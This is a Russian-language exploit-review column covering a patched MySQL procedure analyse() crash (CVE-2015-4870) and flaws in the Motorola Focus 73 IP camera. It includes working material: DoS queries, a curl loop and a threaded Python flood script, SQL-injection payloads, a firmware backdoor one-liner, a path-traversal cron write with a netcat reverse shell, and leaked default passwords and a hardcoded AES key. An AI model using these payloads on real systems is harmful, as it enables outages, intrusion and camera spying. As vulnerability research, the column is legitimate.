В сегодняшнем обзоре мы рассмотрим многочисленные уязвимости в IP-камере Motorola Focus. Помимо дефолтных и слабых паролей, там еще много интересного. К тому же ее прошивка используется и другими производителями, что открывает новые пути исследования. Также разберем DoS-уязвимость и хакерское использование функции procedure analyse() в MySQL.

 

DoS в функции procedure analyse() из MySQL

 

CVSSv2

Нет

 

BRIEF

Дата релиза: 29 мая 2016 года
Автор: @OsandaMalith
CVE: 2015-4870

Автор эксплоита нашел возможность вызвать DoS в MySQL версий до 5.5.45 включительно. В функции procedure analyse() падение происходит при обработке подзапроса.

Пример вызова функции:

select * from `table_name`
procedure analyse((select*from(select 1)x),1);

Соответственно, PoC будет таким:

select * from information_schema.tables
procedure analyse((select*from(select 1)x),1);

Проверка:

mysql> select * from information_schema.tables procedure analyse((select*from(select 1)x),1);
ERROR 2013 (HY000): Lost connection to MySQL server during query
mysql> select 1;
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect...
ERROR 2003 (HY000): Can't connect to MySQL server on 'localhost' (10061)
ERROR: Can't connect to the server
mysql>
Падение приложения MySQL
Падение приложения MySQL

Другой пример атаки — это запуск полезной нагрузки, которая была сохранена в файл и подана на вход mysql.exe (он показан на скриншоте ниже).

Перенаправление атаки на mysql.exe
Перенаправление атаки на mysql.exe

Если после появления сообщения о падении проверить лог вывода Event Viewer, то ты сможешь увидеть, что приложение mysqld.exe действительно упало. При этом смещение для указателя на ошибку будет равно 0x000607f4.

Лог вывода Event Viewer после падения mysqld
Лог вывода Event Viewer после падения mysqld

Если же мы подконнектимся к процессу с помощью IDA, то сможем увидеть, что падение происходит в структуре TABLE_LIST из-за поля, которое не было выделено.

Представление функции обработки таблиц в IDA
Представление функции обработки таблиц в IDA
 

EXPLOIT

В качестве тестового стенда автор использовал Damn Vulnerable Web Application (DVWA).

Если атакующий найдет веб-приложение, уязвимое к SQL-инъекции, то он сможет с легкостью провести DoS-атаку, MySQL-сервер перестанет отвечать и все используемые базы данных тоже перестанут быть доступными.

В Windows достаточно простого запроса для вызова падения и, скорее всего, понадобится ручная перезагрузка:

http://localhost/dvwa/vulnerabilities/sqli/?id=1' procedure analyse((select*from(select 1)x),1)-- -&Submit=Submit#
Пример атакующего запроса на тестовое приложение с MySQL
Пример атакующего запроса на тестовое приложение с MySQL

На *nix-системах mysqld автоматически восстанавливается, но если мы пошлем многочисленные GET-запросы с такой полезной нагрузкой, то база данных все равно упадет.

Пример такой атаки с помощью bash-скрипта, который использует cURL для GET-запросов:

while true;
do curl "http://host/?id=1%27%20procedure%20analyse%28%28select*from%28select%201%29x%29,1%29--%20-" > /dev/null 2>&1
done;

Помимо небольшого bash-скрипта, автор написал версию эксплоита на Python:

class DoS(threading.Thread):
  def run(self):
    print("{0} started!".format(self.getName()))
    for i in range(100):
      urllib2.urlopen(req)

    time.sleep(.2)
    print("{0} finished!".format(self.getName()))
...
for i in range(10000):
  thread = DoS(name = "[+] Thread-{0}".format(i + 1))
  thread.start()
  time.sleep(.1)
Пример работы эксплоита для DoS-уязвимости в MySQL
Пример работы эксплоита для DoS-уязвимости в MySQL

Исходный код и оригинальную статью автора ты можешь найти в его блоге. Еще автор записал небольшое демонстрационное видео.

Также функция procedure analyse() может помочь при проведении атаки через SQL-инъекцию. Это позволяет легче определить число колонок. Результат выполнения представлен на скриншоте, где количество выводов равняется количеству колонок.

http://localhost/dvwa/vulnerabilities/sqli/?id=1' procedure analyse()-- -&Submit=Submit#
Определение количества колонок с помощью procedure analyse()
Определение количества колонок с помощью procedure analyse()

В примерах атаки, где место для инъекции находится после limit, ты можешь использовать procedure analyse() вместе с функциями updatexml и extractvalue в качестве подзапросов.

select username,password from users
order by 1 desc
limit 0,1
procedure analyse(updatexml(1,concat(0x7e,(version())),0),1);
Пример инъекции после AFTER с использованием updatexml в качестве подзапроса
Пример инъекции после AFTER с использованием updatexml в качестве подзапроса
select username,password from users
order by 1 desc
limit 0,1
procedure analyse(extractvalue(1,concat(0x7e,database())),1);
Пример инъекции после AFTER с использованием extractvalue в качестве подзапроса
Пример инъекции после AFTER с использованием extractvalue в качестве подзапроса
 

TARGETS

MySQL <= 5.5.45.

 

SOLUTION

Производитель выпустил исправление.

 

Взлом IP-камеры Motorola Focus 73

 

CVSSv2

Нет

 

BRIEF

Дата релиза: 2 февраля 2016 года
Автор: неизвестен
CVE: N/A

IP-камера Motorola Focus 73 содержит в себе немало сюрпризов. Для начала — она произведена не Motorola. Это наружный вариант камер семейства Blink и Motorola IP, произведенных фирмой Binatone. В семейство также входят камеры для слежения за детьми. Эти продукты совместимы с сервисом Hubble, который построен на Amazon EC2, — он позволяет владельцам управлять камерами удаленно, а также получать уведомления о движении. Все это делается через мобильное приложение.

Приложение Hubble доступно во всех популярных магазинах. Для исследования была выбрана версия для Android из магазина Google Play. Приложение связывается с камерами по протоколу STUN.

В ходе первоначальной настройки приложение попросит подключить камеру к сети через кабель или нажать клавишу pair на самом устройстве. Нажатие переключит камеру в режим хоста и создаст открытую сеть Wi-Fi. Далее приложение будет искать сети с названиями типа CameraHD-(MAC адрес) и предлагать пользователю подключиться к ним.

Пример поиска сетей устройств через мобильное приложение
Пример поиска сетей устройств через мобильное приложение

После того как будет выбрана открытая точка, приложение отправит запросы на веб-сервер Nuvoton, чтобы просканировать сети с помощью команды iwlist. Результаты этого сканирования вернутся в приложение в виде XML-файла, откуда пользователь может выбрать нужную сеть. Затем необходимо ввести свой секретный ключ для выбранной сети Wi-Fi. Он передается в незашифрованном виде через открытую сеть с использованием простой HTTP-аутентификации. Логин и пароль стандартные: camera и 000000. Вид самого запроса также не отличается оригинальностью, он составлен из SSID, PSK, логина и пароля. Еще интересно то, что эта HTTP-авторизация унаследована от других продуктов и на деле не используется. Найденные веб-страницы подписаны для MBP2000W (к примеру, /routersetup.html) и, скорее всего, представляют собой «остатки» предыдущего воплощения устройства как камеры для слежения за детьми.

В публичном доступе прошивки этого устройства нет, но, как нередко бывает, обновление доступно через некий приватный URL. Найти его не составило особого труда.

Автор обнаружил, что прошивка является упакованной файловой системой Linux с названием skyeye, созданной компанией Cvision. Внутри есть разделы /bin, /etc и /lib, но это не полноценный Linux, а лишь путь, который монтируется камерой в /mnt/skyeye. Некоторые основные бинарные файлы, такие как BusyBox, сюда не включены. Они принадлежат Nuvoton OS, которая не имеет механизма обновления и содержит в себе бинарные файлы десятилетней давности.

Также внутри были найдены ссылки на скрипты и файлы конфигурации для других моделей камер, что наводит на мысли об универсальности прошивки. Так что, по всей видимости, описанные дальше уязвимости можно будет найти и в них.

Веб-сервер располагается по пути /mnt/skyeye/mlswwwn/. Он использует скрипты haserl CGI, которые перебрасывают значения из HTTP-формы напрямую в шелл (а в нашем случае еще и с правами root) для выполнения таких функций, как ведение логов или обновление прошивки.

 

EXPLOIT

Вредоносное обновление прошивки

Два веб-сервера находятся по упомянутому пути /mnt/skyeye/mlswwwn/ и доступны на портах 80 и 8080. Второй сервер — это busybox httpd. Как и нормальный сервер httpd, он ограничивает доступ к специальным исполняемым файлам или скриптам (к примеру, из /cgi-bin). А вот веб-сервер Nuvoton (возможно, основанный на MJPG) на 80-м порту не имеет таких ограничений, поэтому любой файл, который мы не увидим на порту 8080, мы сможем полностью прочесть на восьмидесятом, включая бинарные файлы ELF. Один из них — это очень интересный haserl-скрипт, он называется haserlupgrade.cgi. Автор эксплоита обнаружил, что он запускает процесс обновления прошивки. Так как прошивка не зашифрована и не подписана, то мы можем модифицировать ее и добавить измененный haserl-скрипт, который будет содержать небольшой однострочный бэкдор:

<% $FORM_run %>

Модифицированная прошивка может быть загружена через http://(IP):8080/fwupgrade.html. Затем мы сможем выполнять команды от имени root из браузера:

http://(IP):8080/cgi-bin/script.cgi?run=cat /etc/passwd

Обход директорий и инъекция команд

В описанном выше скрипте haserlupgrade также была найдена старая добрая уязвимость типа «обход директорий». Скрипт получает на вход упакованный образ с прошивкой и перемещает в спроектированное место вне веб-директории. При этом он даже не проверяет передаваемое имя, так что, к примеру, имена new_firmware.tgz и ../../../mnt/skyeye/etc/cron/root будут считаться правильными в обоих случаях. Но при проведении тестов автору не удалось оставить созданный файл в системе — он удалялся после окончания работы скрипта (видимо, так настроен процесс обновления). Хотя при этом можно переписать любой другой неудаляемый файл в системе. К примеру, удаление /bin/busybox сделает из камеры «кирпич».

После анализа в скрипте было найдено обращение к бинарному файлу с именем fwupgrade, который автор сразу же загрузил в IDA. Этот исполняемый файл использует имя файла прошивки и сохраняет в /mnt/cache/new_fwupgrade. Когда fwupgrade получает прерывания SIGUSR1, он читает 128 байт из файла new_fwupgrade, использует их в имени прошивки и затем вызывает shell-скрипт для обновления ПО. После завершения скрипт удаляет файл.

Так как считывается 128 байт и проверок нет, можно сделать очень большое имя файла, чтобы процесс обновления упал. В результате загруженный файл не будет удален.

Дизассемблерный код функции из fwupgrade
Дизассемблерный код функции из fwupgrade

Чтобы превысить 128 байт, автор сделал имя файла с хождением туда и обратно по директориям и с переходом в cron в конце. Оттуда задания считываются и выполняются каждую минуту.

../../../mnt/skyeye/mlswwwn/../../../mnt/skyeye/mlswwwn/../../../mnt/skyeye/mlswwwn/../../../mnt/skyeye/mlswwwn/../../../mnt/skyeye/etc/cron/root

В качестве задания — открытие шелла каждую минуту:

/bin/busybox nc 10.45.3.100 1664 -e /bin/sh
Использование уязвимости типа «обход директорий» в Motorola Focus
Использование уязвимости типа «обход директорий» в Motorola Focus

После получения шелла были вытащены хеши из файла /etc/shadow, а после перебора с помощью John the ripper обнаружилось, что пароль root — 123456. Еще был найден пароль от Wi-Fi, сохраненный открытым текстом в /tmp/wpa.conf, а также заводские настройки сетей Cvision (они используются для настройки после сброса памяти устройства).

Помимо этого, на устройстве запущено несколько интересных опенсорсных утилит, которые, если верить сайту Nuvoton, делают разработку более гибкой. Сервис на 80-м порту похож на MJPG, но имеет дополнительные функции для удаленного управления.

Список процессов в Motorola Focus
Список процессов в Motorola Focus

Если запустить команду ps, то мы увидим большое количество потоков для исполняемого файла msloader — он является чем-то вроде функционального центра устройства. И судя по тому, что cron запускает задания каждую минуту, такое количество потоков вызывает утечку памяти. Разработчики решили проблемы довольно бесхитростно: еще одной задачей в cron, которая перезапускает устройство ранним утром. Как пишет автор, он не хочет приводить это время, чтобы злоумышленники тоже спали :).

На этом сюрпризы не кончились. Логи на устройстве содержат много важной информации, в том числе и ключ AES для удаленного управления сообщениями STUN, а также данные аккаунта FTP, который используется для хранения видео. Сообщения об ошибках подтвердили предположение о том, что применяется библиотека PJNATH, поэтому при анализе протокола STUN автор использовал доступные исходники.

Интересные логи можно скачать через веб-интерфейс, но сначала они шифруются с использованием исполняемого файла /bin/crypto. Этот файл использует Linux crypto API с зашитым ключом AES: Cvision123459876. Это означает, что любой может сдампить логи с устройства, используя скрипт host:8080/cgi-bin/logdownload.cgi

Смотрим за подсматривающими

Если атакующий сможет получить доступ к устройству, то сможет и переопределить конфигурацию DNS в файле /etc/resolv.conf. Для этого, к примеру, можно отправить через наш сервер запросы на upload1.hubble.in (сервис для хранения изображений). Это позволяет получать уведомления о появлении движения не только в виде JPEG, но и в виде клипов FLV, которые обычно доступны только платным клиентам Hubble. Эти данные отправляются в незашифрованном в виде вместе с запросами POST к /v1/uploads/snap.json или /v1/uploads/clip.json. Они могут отстукивать, к примеру, на PHP-скрипт, который будет сохранять данные.

Пример перехваченных файлов после появления движения на Motorola Focus
Пример перехваченных файлов после появления движения на Motorola Focus

Автор записал демонстрационное видео, которое опубликовал в своем блоге, где ты также можешь ознакомиться с оригинальной статьей и узнать об этих камерах более подробно.

 

TARGETS

Motorola Focus 73 Firmware 1.17.26–1.19.14.

 

SOLUTION

Производитель выпустил исправление (1.19.26).

Аватар

Борис dukeBarman Рютин

Известный реверсер (@dukebarman), докладчик на множестве конференций, постоянный автор «Хакера» и большой фанат вселенных Blizzard. В данный момент работает руководителем проектов в «Digital Security» (@DSecRU).

Check Also

Взломавший Nintendo хакер получил три года тюрьмы

21-летний житель Калифорнии Райан Эрнандес (Ryan Hernandez) был приговорен к трем годам ли…

Оставить мнение